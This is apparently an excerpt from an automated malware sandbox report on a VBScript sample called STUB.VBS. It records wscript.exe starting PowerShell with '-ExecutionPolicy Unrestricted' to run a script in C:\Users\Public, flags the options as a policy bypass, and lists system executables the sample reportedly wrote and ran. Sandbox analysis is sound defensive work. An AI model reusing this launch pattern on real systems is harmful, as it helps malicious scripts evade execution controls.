parent_process	wscript.exe				martian_process	powershell.exe -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\Microsofttopclayemat.ps1
parent_process	wscript.exe				martian_process	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\Microsofttopclayemat.ps1

Creates a suspicious Powershell process (4 events)

option	-executionpolicy unrestricted	value	Attempts to bypass execution policy
option	-nologo	value	Hides the copyright banner when PowerShell launches
option	-executionpolicy unrestricted	value	Attempts to bypass execution policy
option	-nologo	value	Hides the copyright banner when PowerShell launches

The processes wscript.exe, powershell.exe wrote an executable file to disk which it then attempted to execute (20 events)

file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe

STUB.VBS

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